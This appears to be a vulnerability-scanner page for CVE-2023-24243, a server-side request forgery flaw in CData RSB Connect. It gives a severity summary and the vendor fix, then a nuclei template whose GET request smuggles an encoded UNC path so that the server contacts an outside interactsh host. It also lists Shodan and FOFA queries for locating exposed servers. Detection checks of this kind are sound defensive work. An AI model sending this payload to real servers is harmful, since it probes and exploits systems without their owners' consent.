CData RSB Connect v22.0.8336 - Server Side Request Forgery

highseverity

7.5CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).

Impact

Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the server, potentially leading to unauthorized access or data leakage.

Fix

Apply the latest security patches or updates provided by CData to fix the SSRF vulnerability in RSB Connect v22.0.8336.

How to confirm it

Send: GET {{BaseURL}}/%255c%255c{{interactsh-url}}%255cC$%255cbb
Positive when: contains in interactsh_protocol "dns" AND status 404

Run it with nuclei: nuclei -id CVE-2023-24243 -u <target>

The full check

id: CVE-2023-24243

info:
  name: CData RSB Connect v22.0.8336 - Server Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest security patches or updates provided by CData to fix the SSRF vulnerability in RSB Connect v22.0.8336.
  reference:
    - https://twitter.com/W01fh4cker/status/1669890019191037952
    - https://gist.github.com/d3vc0r3/6460a5f006e32a2ebffe739e411ab1b8
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24243
    - https://arc.cdata.com/
    - https://arc.cdata.com/trial/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-24243
    cwe-id: CWE-918
    epss-score: 0.03995
    epss-percentile: 0.90605
    cpe: cpe:2.3:a:cdata:arc:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cdata
    product: arc
    shodan-query:
      - http.favicon.hash:163538942
      - http.favicon.hash:"163538942"
    fofa-query: icon_hash="163538942"
  tags: cve,cve2023,cdata,rsb,ssrf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%255c%255c{{interactsh-url}}%255cC$%255cbb"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from